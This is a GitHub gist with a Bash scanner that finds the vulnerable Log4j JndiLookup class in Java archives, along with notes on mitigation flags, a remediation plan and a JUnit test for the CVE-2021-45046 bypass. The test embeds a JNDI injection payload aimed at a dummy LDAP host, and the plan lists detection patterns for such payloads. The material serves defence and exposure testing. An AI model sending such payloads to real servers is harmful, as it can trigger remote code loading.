-
-
Save righettod/ce1570954242de2f8772c6f25eece77d to your computer and use it in GitHub Desktop.
#!/bin/bash | |
######################################################################################################### | |
# Script to identify Log4J affected class for CVE-2021-44228 in a collection of EAR/WAR/JAR files | |
# Based on this script: | |
# https://github.com/righettod/toolbox-pentest-web/blob/master/scripts/identify-class-location.sh | |
######################################################################################################### | |
if [ "$#" -lt 1 ]; then | |
script_name=$(basename "$0") | |
echo "Usage:" | |
echo " $script_name [BASE_SEARCH_FOLDER]" | |
echo "" | |
echo "Call example:" | |
echo " $script_name /apps" | |
exit 1 | |
fi | |
# Constants | |
JAR_FOUND=0 | |
TARGET_CLASS_NAME="org/apache/logging/log4j/core/lookup/JndiLookup.class" | |
APP_LIBS_FOLDER=$1 | |
WORK_FOLDER=/tmp/work | |
JAR_WORK_FOLDER=/tmp/jarwork | |
NESTED_JAR_WORK_FOLDER=/tmp/nestedjarwork | |
CDIR=$(pwd) | |
# See https://unix.stackexchange.com/a/9499 | |
OIFS="$IFS" | |
IFS=$'\n' | |
# Utility functions | |
inspect_folder (){ | |
folder_location=$1 | |
for jar_lib in $(find "$folder_location" -type f -iname "*.jar") | |
do | |
inspect_jar_file "$jar_lib" | |
done | |
} | |
inspect_jar_file(){ | |
jar_file_location=$1 | |
find=$(unzip -l "$jar_file_location" | grep -c "$TARGET_CLASS_NAME") | |
if [ $find -ne 0 ] | |
then | |
JAR_FOUND=1 | |
echo "" | |
echo -e "\e[91m[!] Class found in the file '$jar_file_location'.\e[0m" | |
echo -e "\e[93m[+] Try to find the Maven artefact version...\e[0m" | |
rm -rf "$JAR_WORK_FOLDER" 2>/dev/null | |
mkdir "$JAR_WORK_FOLDER" | |
unzip -q -d "$JAR_WORK_FOLDER" "$jar_file_location" | |
chmod -R +r "$JAR_WORK_FOLDER" | |
cd $JAR_WORK_FOLDER | |
for f in $(grep -r "groupId\s*=\s*org.apache.logging.log4j" *) | |
do | |
file_loc=$(echo $f | cut -d":" -f1) | |
artefact_version=$(grep -Po "version\s*=\s*.*" "$file_loc" | sed 's/version=//g') | |
echo "File : $jar_file_location" | |
echo "Metadata file : $file_loc" | |
echo "Log4J version : $artefact_version" | |
done | |
cd $CDIR | |
rm -rf $JAR_WORK_FOLDER 2>/dev/null | |
fi | |
# Handle nested jar case | |
has_nested_jar=$(unzip -l "$jar_file_location" | grep "\.jar$" | grep -cv "Archive:") | |
if [ $has_nested_jar -ne 0 ] | |
then | |
nestedjar_lib_name="$(basename "$jar_file_location")_$RANDOM" | |
mkdir -p "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" | |
unzip -q -d "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" "$jar_file_location" | |
chmod -R +r "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" | |
inspect_folder "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" | |
fi | |
} | |
echo -e "\e[93m[+] Searching class '$TARGET_CLASS_NAME' across '$APP_LIBS_FOLDER' folder...\e[0m" | |
for lib in $(find "$APP_LIBS_FOLDER" -type f -iname "*.jar" -o -iname "*.war" -o -iname "*.ear") | |
do | |
filename=$(basename "$lib") | |
filename="$filename" | |
extension="${filename##*.}" | |
printf "\r[*] Inspecting file: %-80s" $filename | |
if [ $extension == "ear" ] | |
then | |
rm -rf $WORK_FOLDER 2>/dev/null | |
mkdir $WORK_FOLDER | |
unzip -q -d $WORK_FOLDER "$lib" | |
chmod -R +r $WORK_FOLDER | |
for war_lib in $(find $WORK_FOLDER -type f -iname "*.war") | |
do | |
war_lib_name="$(basename "$war_lib")_$RANDOM" | |
war_lib_folder="$WORK_FOLDER/$war_lib_name" | |
mkdir "$war_lib_folder" | |
unzip -q -d "$war_lib_folder" "$war_lib" | |
chmod -R +r "$war_lib_folder" | |
done | |
inspect_folder "$WORK_FOLDER" | |
rm -rf "$WORK_FOLDER" 2>/dev/null | |
fi | |
if [ $extension == "war" ] | |
then | |
rm -rf $WORK_FOLDER 2>/dev/null | |
war_lib_name="$(basename "$lib")_$RANDOM" | |
war_lib_folder=$WORK_FOLDER/$war_lib_name | |
mkdir -p "$war_lib_folder" | |
unzip -q -d "$war_lib_folder" "$lib" | |
chmod -R +r "$war_lib_folder" | |
inspect_folder "$WORK_FOLDER" | |
rm -rf $WORK_FOLDER 2>/dev/null | |
fi | |
if [ $extension == "jar" ] | |
then | |
inspect_jar_file "$lib" | |
fi | |
done | |
printf "\r%-100s" " " | |
if [ $JAR_FOUND -eq 0 ] | |
then | |
echo -e "\r\e[92m[V] Inspection finished - Class not found!\e[0m\n" | |
else | |
echo -ne "\r\e[91m[!] Inspection finished - Class found!\e[0m\n" | |
fi | |
IFS="$OIFS" | |
rm -rf "$NESTED_JAR_WORK_FOLDER" 2>/dev/null | |
exit $JAR_FOUND |
Note about the affected JNDI class presence
The following script was created to identify, in which jar files of a complete distribution of Log4J2, the class org.apache.logging.log4j.core.lookup.JndiLookup
is present:
#!/bin/bash
#########################################################################################################
# Script to identify Log4J affected class for CVE-2021-44228 in a distribution of LOG4J2
#########################################################################################################
# See https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core
VERSION=$1
TARGET_CLASS_NAME="org/apache/logging/log4j/core/lookup/JndiLookup.class"
DIST_URL="https://archive.apache.org/dist/logging/log4j/$VERSION/apache-log4j-$VERSION-bin.zip"
WORKDIR="/tmp/work"
WORKBIN="/tmp/log4j2.zip"
echo -e "\e[93m[+] Download and uncompress release $VERSION archive...\e[0m"
wget -q -O $WORKBIN $DIST_URL
rm -rf $WORKDIR 2>/dev/null
mkdir $WORKDIR
unzip -q -d $WORKDIR $WORKBIN
echo -e "\e[93m[+] Search class '$TARGET_CLASS_NAME' across all jar files...\e[0m"
for lib in $(find $WORKDIR -iname "*.jar")
do
find=$(unzip -l $lib | grep -c "$TARGET_CLASS_NAME")
if [ $find -ne 0 ]
then
echo "'$(basename $lib)' file contains the class."
fi
done
echo -e "\e[93m[+] Cleanup...\e[0m"
rm -rf $WORKDIR 2>/dev/null
rm $WORKBIN
Execution against the release 2.14.1:
$ bash find-jndi-class.sh "2.14.1"
[+] Download and uncompress release 2.14.1 archive...
[+] Search class 'org/apache/logging/log4j/core/lookup/JndiLookup.class' across all jar files...
'log4j-core-2.14.1.jar' file contains the class.
[+] Cleanup...
Execution against all published releases:
Utility script named test.sh
#!/bin/bash
while IFS= read -r line
do
bash find-jndi-class.sh $line
done < "versions.txt"
Execution
# "data.txt" file created using this page html content:
# https://archive.apache.org/dist/logging/log4j/
$ head -5 data.txt
[DIR] 2.0-alpha1/ 2016-05-30 04:49 -
[DIR] 2.0-alpha2/ 2016-05-30 04:49 -
[DIR] 2.0-beta1/ 2016-05-30 04:49 -
[DIR] 2.0-beta2/ 2016-05-30 04:49 -
[DIR] 2.0-beta3/ 2016-05-30 04:49 -
$ cat data.txt | cut -d'/' -f1 | cut -d' ' -f2 | sort > versions.txt
$ head -5 versions.txt
2.0
2.0-alpha1
2.0-alpha2
2.0-beta1
2.0-beta2
$ bash test.sh | grep "file contains the class"
'log4j-core-2.0.jar' file contains the class.
'log4j-core-2.0-beta9.jar' file contains the class.
'log4j-core-2.0-rc1.jar' file contains the class.
'log4j-core-2.0-rc2.jar' file contains the class.
'log4j-core-2.0.1.jar' file contains the class.
'log4j-core-2.0.2.jar' file contains the class.
'log4j-core-2.1.jar' file contains the class.
'log4j-core-2.10.0.jar' file contains the class.
'log4j-core-2.11.0.jar' file contains the class.
'log4j-core-2.11.1.jar' file contains the class.
'log4j-core-2.11.2.jar' file contains the class.
'log4j-core-2.12.0.jar' file contains the class.
'log4j-core-2.12.1.jar' file contains the class.
'log4j-core-2.12.2.jar' file contains the class.
'log4j-core-2.13.0.jar' file contains the class.
'log4j-core-2.13.1.jar' file contains the class.
'log4j-core-2.13.2.jar' file contains the class.
'log4j-core-2.13.3.jar' file contains the class.
'log4j-core-2.14.0.jar' file contains the class.
'log4j-core-2.14.1.jar' file contains the class.
'log4j-core-2.15.0.jar' file contains the class.
'log4j-core-2.16.0.jar' file contains the class.
'log4j-core-2.2.jar' file contains the class.
'log4j-core-2.3.jar' file contains the class.
'log4j-core-2.4.jar' file contains the class.
'log4j-core-2.4.1.jar' file contains the class.
'log4j-core-2.5.jar' file contains the class.
'log4j-core-2.6.jar' file contains the class.
'log4j-core-2.6.1.jar' file contains the class.
'log4j-core-2.6.2.jar' file contains the class.
'log4j-core-2.7.jar' file contains the class.
'log4j-core-2.8.jar' file contains the class.
'log4j-core-2.8.1.jar' file contains the class.
'log4j-core-2.8.2.jar' file contains the class.
'log4j-core-2.9.0.jar' file contains the class.
'log4j-core-2.9.1.jar' file contains the class.
So, focus can be made on the artifact org.apache.logging.log4j:log4j-core when searching for usage of Log4J2 in project source code / maven proxy / projet descriptor (maven, gradle).
Note about the security flags
The following script was created to identify, in which version of Log4j2, the flag log4j2.formatMsgNoLookups
or log4j2.enableJndi
were present based on sources provided with complete distribution of Log4J2:
#!/bin/bash
#########################################################################################################
# Script to identify Log4J version supporting security flags mentioned in CVE advisory
#########################################################################################################
# See https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core
VERSION=$1
DIST_URL="https://archive.apache.org/dist/logging/log4j/$VERSION/apache-log4j-$VERSION-bin.zip"
WORKDIR="/tmp/work2"
WORKBIN="/tmp/log4j2-dist.zip"
WORKSRC="/tmp/worksrc"
echo -e "\e[93m[+] Download and uncompress release $VERSION archive...\e[0m"
wget -q -O $WORKBIN $DIST_URL
rm -rf $WORKDIR 2>/dev/null
mkdir $WORKDIR
unzip -q -d $WORKDIR $WORKBIN
echo -e "\e[93m[+] Search flags across all sources files ...\e[0m"
for lib in $(find $WORKDIR -iname "*-sources.jar")
do
rm -rf $WORKSRC 2>/dev/null
mkdir $WORKSRC
unzip -q -d $WORKSRC $lib
# See https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/util/Constants.java#L67
find=$(grep -r --include "*.java" "log4j2\.formatMsgNoLookups" $WORKSRC | wc -l)
if [ $find -ne 0 ]
then
echo "'$(basename $lib)' file contains the flag: 'log4j2.formatMsgNoLookups'."
fi
# See https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java#L76
find=$(grep -r --include "*.java" "log4j2\.enableJndi" $WORKSRC | wc -l)
if [ $find -ne 0 ]
then
echo "'$(basename $lib)' file contains the flag: 'log4j2.enableJndi'."
fi
done
echo -e "\e[93m[+] Cleanup...\e[0m"
rm -rf $WORKDIR 2>/dev/null
rm -rf $WORKSRC 2>/dev/null
rm $WORKBIN
Execution against all published releases:
Utility script named test.sh
#!/bin/bash
while IFS= read -r line
do
bash find-flag.sh $line
done < "versions.txt"
Execution
# "data.txt" file created using this page html content:
# https://archive.apache.org/dist/logging/log4j/
$ head -5 data.txt
[DIR] 2.0-alpha1/ 2016-05-30 04:49 -
[DIR] 2.0-alpha2/ 2016-05-30 04:49 -
[DIR] 2.0-beta1/ 2016-05-30 04:49 -
[DIR] 2.0-beta2/ 2016-05-30 04:49 -
[DIR] 2.0-beta3/ 2016-05-30 04:49 -
$ cat data.txt | cut -d'/' -f1 | cut -d' ' -f2 | sort > versions.txt
$ head -5 versions.txt
2.0
2.0-alpha1
2.0-alpha2
2.0-beta1
2.0-beta2
$ bash test.sh | grep "file contains the flag"
'log4j-core-2.10.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.11.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.11.1-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.11.2-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.12.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.12.1-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.12.2-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.12.2-sources.jar' file contains the flag: 'log4j2.enableJndi'.
'log4j-core-2.13.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.13.1-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.13.2-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.13.3-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.14.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.14.1-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.15.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.16.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.16.0-sources.jar' file contains the flag: 'log4j2.enableJndi'.
So based on the results above:
- Flag
log4j2.formatMsgNoLookups
can be used on Log4j2 version >= 2.10.0 (source ref). - Flag
log4j2.enableJndi
can be used on Log4j2 version 2.12.2 and 2.16.0 only (source ref).
The following script was created and used in combination of a test Maven project using this test class to identify in which version >= 2.10.0 the flag is log4j2.formatMsgNoLookups
is effective or not:
Script and POM file of the test project:
Execution with the security flag disabled to verify that the unit test is OK:
Execution with the security flag enabled to see the protection state:
So based on the results above: The flag is effective on versions >= 2.10.0.
This is a good method. But, some issues:
It doesn't work on paths with spaces.
It doesn't work on jars nested inside jars. It needs to recursively un-jar. It's not as common to have jars in jars, but can occur, and can be used with a custom ClassLoader.
Unzip can leave file permissions as unreadable by you. Do a chmod +r after unzip.
Note about formatMsgNoLookups bypass
ℹ️ This bypass was bring by the CVE-2021-45046.
Below is a POC from LunaSecIO showing the vulnerability and its exploitation context:
Source: https://twitter.com/LunaSecIO/status/1470871128843251716
A unit tests suite was created and used to perform some tests for the bypass of log4j2.formatMsgNoLookups=true
:
package eu.righettod;
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;
import org.apache.logging.log4j.core.appender.ConsoleAppender;
import org.apache.logging.log4j.core.config.Configurator;
import org.apache.logging.log4j.core.config.builder.api.AppenderComponentBuilder;
import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilder;
import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilderFactory;
import org.apache.logging.log4j.core.config.builder.api.RootLoggerComponentBuilder;
import org.apache.logging.log4j.core.config.builder.impl.BuiltConfiguration;
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.util.concurrent.TimeUnit;
/**
* Test suite to ensure that the current version used of log4j-core is not exposed to log4shell vulnerability for CVE-2021-44228
* with the "log4j2.formatMsgNoLookups=true" bypass.
*
* @see "https://www.studytonight.com/post/log4j2-programmatic-configuration-in-java-class"
* @see "https://docs.oracle.com/javase/7/docs/technotes/guides/net/properties.html"
*/
public class Log4ShellExposureTestFormatMsgNoLookupsBypass {
private static final String TEST_PAYLOAD = "${jndi:ldap://donotexists.com/test}";
private static final String TEST_FAILED_MARKER = "Error looking up JNDI resource";
private Logger victim;
private final ByteArrayOutputStream captureStream = new ByteArrayOutputStream();
private final PrintStream currentSystemOut = System.out;
private final PrintStream currentSystemErr = System.err;
@Before
public void testSuiteSetup() throws Exception {
//Capture SystemOut and SystemErr
PrintStream ps = new PrintStream(captureStream);
System.setOut(ps);
System.setErr(ps);
//Set a SOCK nonexistent proxy to prevent any data to be sent out or any call to exit the network
System.setProperty("proxySet", "true");
System.setProperty("socksProxyHost", "10.10.10.10");
System.setProperty("socksProxyPort", "1111");
//Set a quick socket timeout to speed up the test
System.setProperty("sun.net.client.defaultConnectTimeout", "2000");
System.setProperty("sun.net.client.defaultReadTimeout", "2000");
//Setup the logger
ConfigurationBuilder<BuiltConfiguration> builder = ConfigurationBuilderFactory.newConfigurationBuilder();
builder.setStatusLevel(Level.INFO);
builder.setConfigurationName("DefaultLogger");
AppenderComponentBuilder appenderBuilder = builder.newAppender("Console", "CONSOLE");
appenderBuilder.addAttribute("target", ConsoleAppender.Target.SYSTEM_OUT);
appenderBuilder.add(builder.newLayout("PatternLayout").addAttribute("pattern", "${ctx:InsecureVariable} - %m%n"));
RootLoggerComponentBuilder rootLogger = builder.newRootLogger(Level.INFO);
rootLogger.add(builder.newAppenderRef("Console"));
builder.add(appenderBuilder);
builder.add(rootLogger);
//Configurator.reconfigure(builder.build());
//Use this method is reconfigure(() do not exists in the log4j2 tested version
Configurator.initialize(builder.build());
//Enable the security flag
System.setProperty("log4j2.formatMsgNoLookups", "true");
//Setup the logger used
victim = LogManager.getRootLogger();
//Display execution context
System.out.printf("LOG4J2 version: %s\n", victim.getClass().getPackage().getImplementationVersion());
System.out.printf("Java version : %s\n", System.getProperty("java.version"));
}
@After
public void testSuiteFinalize() throws Exception {
//Reset SystemOut and SystemErr to original ones
System.setOut(currentSystemOut);
System.setErr(currentSystemErr);
//Remove the SOCK proxy
System.getProperties().remove("proxySet");
System.getProperties().remove("socksProxyHost");
System.getProperties().remove("socksProxyPort");
//Remove socket timeout
System.getProperties().remove("sun.net.client.defaultConnectTimeout");
System.getProperties().remove("sun.net.client.defaultReadTimeout");
}
@Test
public void testExposure() throws Exception {
//Ensure that the security flag is enabled
Assert.assertNotNull("Flag 'log4j2.formatMsgNoLookups' must be set!", System.getProperty("log4j2.formatMsgNoLookups"));
Assert.assertTrue("Flag 'log4j2.formatMsgNoLookups' must be enabled!", Boolean.parseBoolean(System.getProperty("log4j2.formatMsgNoLookups")));
//Log the payload
ThreadContext.put("InsecureVariable", TEST_PAYLOAD);
victim.info("Triggering...");
//Let's time to logger to write the content to the appender and any JNDI lookup to be attempted
TimeUnit.SECONDS.sleep(10);
//Check if any JNDI lookup tentative was performed
String out = captureStream.toString(StandardCharsets.UTF_8);
//Save the output for ease debugging operations
Files.deleteIfExists(Paths.get("target", "Log4ShellExposureTestMsgNoLookupsBypass.out"));
Files.writeString(Paths.get("target", "Log4ShellExposureTestMsgNoLookupsBypass.out"), out, StandardCharsets.UTF_8, StandardOpenOption.CREATE);
//Apply assertion using the JNDI lookup marker
Assert.assertFalse("JNDI lookup tentative identified, see target/Log4ShellExposureTestMsgNoLookupsBypass.out file for details.", out.contains(TEST_FAILED_MARKER));
}
}
Version 2.14.1 seems to be exposed to the bypass:
Version 2.15.0 do not seems to be exposed to the bypass:
Note that a usage of the printf()
function, like for example victim.printf(Level.INFO,"%s",TEST_PAYLOAD)
, have the same effect that using the ThreadContext
combined with a expression in the log pattern:
On version 2.15.0 - By default:
- JNDI with DNS protocol is not allowed:
- JNDI with LDAP(S) protocol require defining allowed hosts:
Regarding LDAP(S), a bypass of the validation against allowed hosts was identified: https://twitter.com/pwntester/status/1471465662975561734
@tbird5 Thank you very much for the feedback I will work on it to address the issues raised 👍
@tbird5 New version published with the issues mentioned normally fixed (at least using my test cases) 👍
From now I will manage the script and the analysis content here.
It will facilitate the issue handling, sharing, publishing and backup of the content.
Action plan proposal
Disclaimer
I propose the following approach to decrease the attack/exploitation surface.
Step 1: Block callback/leakage + artifact cartography
ℹ️ To be performed in parallel.
grep -r --include "*.log" -nwE '\$\{.*?:.*\}' .
Help commands for development team - On Windows, replace
grep
bySelect-String -pattern "xxx"
(Select-String documentation):Step 2: Patching
Security team:
Prioritize apps to be patched by order according to their reachability by attackers and provide this order to the development team:
Development team:
log4j2.noFormatMsgLookup=true
. You still be exposed to the CVE-2021-45046.Step 3: Security monitoring
(Error\slooking\sup\sJNDI\sresource\s\[.*?\])
Important remark regarding vulnerability scanning
If a vulnerability scan is launched to detect log4shell exposure then ensure the following properties of the scan:
This set of properties have for objective to ensure that the scanner will correctly call the endpoints with its log4shell test payloads in all supported parameters (body/header/query string) of the endpoints.
Monitor your network devices event (firewall/WAF/IPS/...) to catch payloads submitted by the scanner that will trigger the vulnerability but for which the callback or dns resolution will be blocked. Otherwise the scan will report that the target is not vulnerable and it will be a false-negative.
Additional information